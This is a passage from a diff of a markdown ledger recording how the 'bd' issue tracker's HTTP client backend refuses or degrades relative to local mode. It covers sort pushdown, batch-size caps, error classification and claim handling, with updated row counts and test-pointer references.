fixture corpus is -deferred work, tracked on `ga-b8ddd.23` (the read-display residual) -and `ga-b8ddd.19` (the per-id D7 taxonomy). They are refusals or degradations +client core is complete; a since-closed per-request project-id enforcement +follow-up closed the read-display escalation, so pinning the remaining +fixture corpus is deferred work (tracked as a read-display residual and a +per-id D7 taxonomy follow-up). They are refusals or degradations already in force — the `TODO` is on the test that will hold each one, not on the behavior. @@ -47,7 +47,7 @@ the behavior. ## Summary -257 rows: 206 refuse, 33 degrade, 18 retired. +264 rows: 209 refuse, 33 degrade, 22 retired. ## Whole-behavior divergences (D9 ledger) @@ -56,42 +56,43 @@ The L-rows the design's D9 table names: whole behaviors that differ over HTTP, e | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| | L1 | retired | — | RETIRED — `bd list` over http could not ask for the wisp plane | retired by the upstream ask the design page filed for it: "include_ephemeral on listIssues (retires L1)". Upstream published the parameter, the server decodes it (internal/httpapi/reads.go handleListIssues), and the encoder emits it whenever ListRequest.IncludeEphemeral is set. THERE IS NO DIVERGENCE LEFT TO RECORD. `bd list` still shows no wisps, but it shows none LOCALLY either: the front door registers no --include-ephemeral (only `bd ready` does, ready.go), so the field is unset on both paths and both answer the durable plane. A degrade row describing behavior the local oracle shares is not a degradation, and keeping it as one would be the same falsified-premise problem the W- rows had — a ledger arguing from a document that moved | D9 L1 (RETIRED), D8 row 1 | TestEncodedParametersRoundTripThroughTheServerDecoder | -| L2 | degrade | — | a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort | NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort` | D9 L2, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L3 | degrade | — | a multi-page fetch has no snapshot isolation | the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query | D9 L3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L4 | retired | — | `bd show` dependents sections and comment bodies were degraded | retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired | D9 L4 (RETIRED), D4, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L2 | degrade | — | a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort | NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort` | D9 L2, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L3 | degrade | — | a multi-page fetch has no snapshot isolation | the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query | D9 L3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L4 | retired | — | `bd show` dependents sections and comment bodies were degraded | retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired | D9 L4 (RETIRED), D4, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L12 | refuse | — | an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of | a dropped filter widens a result set invisibly, and the server can only reject parameters it receives | D9 L12, D7 | TestEncoderHonorsEveryTableDisposition | -| L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-dep-endpoint | degrade | — | a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound | the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row | D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-claim-prose | degrade | — | a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http | the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single | D8 row 3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-notfound | degrade | — | issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve | the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-dependents | degrade | — | the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest | the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-bound | refuse | — | issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests | maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience | D8 row 13, D9 L16 (the same argument, on the other bulk write) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-bound | refuse | — | `bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests | maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible | D8 row 14, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-edgecount-bound | refuse | — | issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests | maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row | D9 L16 (the same argument, on a read), D8 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-target | degrade | — | a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound | the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-inbatch | refuse | — | an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http | the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L18 | degrade | — | DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there | the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose | D9 L18, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-create-notfound | degrade | — | a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target | the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-create-prefix | degrade | — | an unforced explicit id outside the workspace's configured prefix refuses as issueops.ErrValidation rather than as storage.ErrPrefixMismatch | the wire spells that refusal as a 400 invalid_argument with `param: "id"` and `reason: invalid_value` (internal/httpapi's failCreateIssue), which is the SAME pair a malformed or oversized `id` earns — so nothing on the wire tells the two apart, and reconstructing the typed sentinel from the pair would misclassify every other refusal of that member. The guard itself is untouched: the id is refused, nothing is created, and the detail names `force_id_prefix` as the bypass, which is the recovery a caller needs. What is lost is the errors.Is arm both local front doors use to decide whether to re-offer the create with --force. Upstream ask: a prefix_mismatch code, or a reason that distinguishes it, which retires this row | D8 row 16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-apply-snapshot | degrade | — | every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot | the WIRE result is lean by the document's own decision and the role's leaf says why: ApplyItemResult carries ids, `changed` and `revision` and no issue, because the Go contract carries the snapshot for its COMPLETION HOOKS — which hand a script the row they are telling it about — and hooks never fire on the http surface at all. A hundred hydrated issues with their labels and edges would be a response an order of magnitude larger than the request that produced it. What a caller loses is a read it can make: the ids ARE published, per item and through Keys, so the rows are one getIssue away and the plan's next step is composed from ids rather than from snapshots. It is a degradation rather than a refusal because nothing about the WRITE differs — every item landed exactly as asked — and refusing would make the whole operation unavailable over http to keep a member no consumer on this surface can use | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-apply-ref | degrade | — | an unresolvable metadata_refs key comes back as a *RefError naming the MEMBER rather than the key, and the reconstructed error replaces the server's problem envelope | the wire's 400 names the offending member in `param` — `items[3].create.metadata_refs` — and carries the item index, the item's key and `declared_later`, but not WHICH entry of the refs map failed: the role's RefError.Member is diagnostic prose (`metadata_ref `) rather than a vocabulary, so the server maps it onto the document's own member names instead of publishing it. The two ADDRESSING refs, target and source, are named exactly. The envelope is dropped because issueops.RefError has nowhere to put it: its Unwrap is hardcoded to ErrValidation and it carries no member for a cause, which is the role type's shape rather than a choice made here. The discriminator a caller ACTS on — an ordering mistake against a typo — survives whole, in both polarities. Upstream ask: a typed ref-key member on the problem document, which retires this row | D8 refuse-not-drop (result half) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-comment-author | degrade | — | a comment's AUTHOR is subject to the server's own actor rule, which no local leg applies: it is stored TRIMMED where a local backend stores it verbatim, and one carrying a control character is refused (issueops.ErrValidation) where a local backend stores it | the operation validates `author` with the `actor` rules whole (internal/httpapi's validateNameMember: trim, refuse empty, refuse past 256 bytes or 255 characters, refuse any control rune) and passes the TRIMMED value on to the role, while issueops.ValidateAddCommentRequest checks only that the field is non-empty and stores what it was given. So the same request produces a different STORED VALUE on the two legs, and a value one leg stores the other refuses. IT IS THE SERVER'S RULE AND THE DOCUMENT PUBLISHES IT, which is why this is a ledger row rather than a bug on either side: the schema states the trim and the character rule in as many words, and the reason is the column — `author` is 255 characters wide and every renderer of the thread prints it, where an unfiltered C1 introducer is an escape-sequence payload. The refusal half is a NARROWING the wire makes on purpose. THE CLIENT DOES NOT ANTICIPATE EITHER HALF, and that is the decision this row records. Trimming here would make the client agree with the server about the stored value and disagree with the role's own contract — and it would silently rewrite a caller's request, which is the one thing this seam never does. Refusing the control rune here would be a second copy of a server rule that is free to move. So the value travels as the caller wrote it and the server's answer is reported unchanged, which keeps the divergence visible instead of laundering it. IT IS A DEGRADE RATHER THAN A REFUSE because the ordinary path PROCEEDS: a well-formed author is stored, and the difference cannot be misread as a wider or narrower answer — a comment lands on the thread the caller named either way. The refusal half is the SERVER's, not this client's refuse-not-drop, which is what KindRefuse classifies. What a caller loses is an author whose surrounding space survives, and the recovery is the one the role's own contract already implies: compose the author from a value you would be willing to see printed. Upstream ask: either the role trimming its own author on every leg, or the operation storing it verbatim — the rows agree the day the two rules become one | D8 row 19 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-release-notclaimed | degrade | — | a release of a row that holds NO CLAIM answers issueops.ErrNotReleasable rather than issueops.ErrNotClaimed; a status that will not accept a release answers ErrNotReleasable as it does everywhere | the role splits the two — ErrNotClaimed for a row nobody holds, ErrNotReleasable for a status the transition is not defined over — and the wire spells BOTH `not_releasable` under one code, with no member telling them apart. That is the server's deliberate choice (internal/httpapi's CodeNotReleasable) rather than an omission, and its detail names both conditions instead of guessing between them. So this client maps to the WIDER of the two, which is the only honest read: reconstructing ErrNotClaimed would assert a fact about the row that the wire never sent, and scraping the detail for it would bind a sentinel to prose. NOTHING ELSE ABOUT THE REFUSAL MOVES — nothing is written, the row and its version are untouched, and the conditional path is unaffected: a caller that named a holder gets ErrAssigneeMismatch on both sides, because that refusal has a code of its own. The caller who loses something is the one that told 'I already released this' from 'the row was never claimed', and the 